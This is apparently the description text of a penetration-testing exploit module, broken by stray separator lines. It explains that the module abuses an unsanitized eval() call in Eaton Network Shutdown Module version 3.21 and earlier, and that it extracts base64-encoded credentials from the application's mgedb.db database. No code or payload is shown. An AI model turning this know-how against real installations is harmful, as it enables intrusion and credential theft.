This module exploits a vulnerability in Eaton Network Shutdown Module
|
|
|
|
version <= 3.21, in lib/dbtools.inc which uses unsanitized user input
|
|
|
|
inside a eval() call. Additionally the base64 encoded user credentials
|
|
|
|
are extracted from the database of the application. Please note that
|
|
|
|
in order to be able to steal credentials, the vulnerable service must
|
|
|
|
have at least one USV module (an entry in the "nodes" table in
|
|
|
|
mgedb.db)
